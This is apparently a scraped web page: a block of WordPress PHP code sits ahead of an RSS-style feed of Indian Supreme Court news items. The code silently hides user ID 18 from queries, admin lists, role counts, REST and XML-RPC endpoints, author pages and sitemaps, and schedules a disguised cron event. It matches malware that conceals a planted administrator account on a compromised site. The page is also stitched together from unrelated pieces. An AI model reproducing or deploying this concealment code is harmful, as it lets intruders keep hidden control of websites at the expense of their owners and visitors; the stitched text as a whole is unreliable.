add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Intellectuals Have A Duty To Expose Lies Of State”: Supreme Court Judge appeared first on The Edge Media.
]]>Delivering the Justice MC Chagla Memorial Lecture, Justice Chandrachud also cautioned against an over-reliance on the government to provide social, political, economic, cultural and, in the current context, medical truths; he highlighted manipulation of COVID-19 data as an example.
“One cannot rely only on the State for truth. Totalitarian governments are known for their constant reliance on falsehoods to consolidate power… we see there is an increasing trend among countries to manipulate COVID-19 data,” Justice Chandrachud said.
The post “Intellectuals Have A Duty To Expose Lies Of State”: Supreme Court Judge appeared first on The Edge Media.
]]>The post All 9 Judges Recommended By Supreme Court Panel Cleared By Government appeared first on The Edge Media.
]]>The judges are likely to take oath on August 31.
Justice BV Nagarathna, of the Karnataka High Court, is in line to become the first woman Chief Justice of India – a milestone in the nation’s history.
PS Narasimha, among the judges for the Supreme Court elevation, is also in line to become the Chief Justice, becoming the third lawyer from the bar to become the top judge.
Justice SM Sikri was the first lawyer to be elevated directly to the Supreme Court bench in March 1964. He became the Chief Justice of India in 1971.
The post All 9 Judges Recommended By Supreme Court Panel Cleared By Government appeared first on The Edge Media.
]]>The post Chief Justice Upset With Reports On Judges’ Appointments, Cautions Media appeared first on The Edge Media.
]]>“The process of appointment of judges is sacrosanct and has certain dignity attached to it. Media friends must understand and recognise the sanctity of this process,” the Chief Justice said, speaking at the farewell of a judge, justice Navin Sinha.
“There were instances of deserving career progression of bright talents getting marred because of such irresponsible reporting and speculation. This is very unfortunate and I am extremely upset about it. I appreciate maturity and responsibility displayed by majority of senior journalists and media houses in not speculating on such serious matter,” Justice Ramana said.
The post Chief Justice Upset With Reports On Judges’ Appointments, Cautions Media appeared first on The Edge Media.
]]>The post Supreme Court seeks report from Jharkhand on judge killing. appeared first on The Edge Media.
]]>Though on Thursday, CJI N V Ramana had talked to Jharkhand HC Chief Justice Ravi Ranjan , leading to the HC ordering probe into the incident, a bench of the CJI
Justice Surya Kant on Friday decided to take up the Jharkhand incident besides those on a pan-India basis, saying attacks on judges and lawyers were reported from across the country.
On Thursday, SC Bar Association president Vikas Singh had mentioned the Dhanbad incident before the CJI and demanded a CBI probe, terming it a “Brazen assault” on independence of judiciary.
The post Supreme Court seeks report from Jharkhand on judge killing. appeared first on The Edge Media.
]]>The post Kerala Minister , Ex-MLAs to face trial for Damaging Furniture in Assembly. appeared first on The Edge Media.
]]>“MPs and MLAs have to subscribe and bear true faith to the Constitution of India. Committing acts of destroying public property cannot be equated to freedom of speech .
Legislator’s privilege and immunity is not a gate to claim exemption from Criminal law,” a two-judge bench of justice DY Chandrachud and MR Shah said as it delivered the verdict.
The post Kerala Minister , Ex-MLAs to face trial for Damaging Furniture in Assembly. appeared first on The Edge Media.
]]>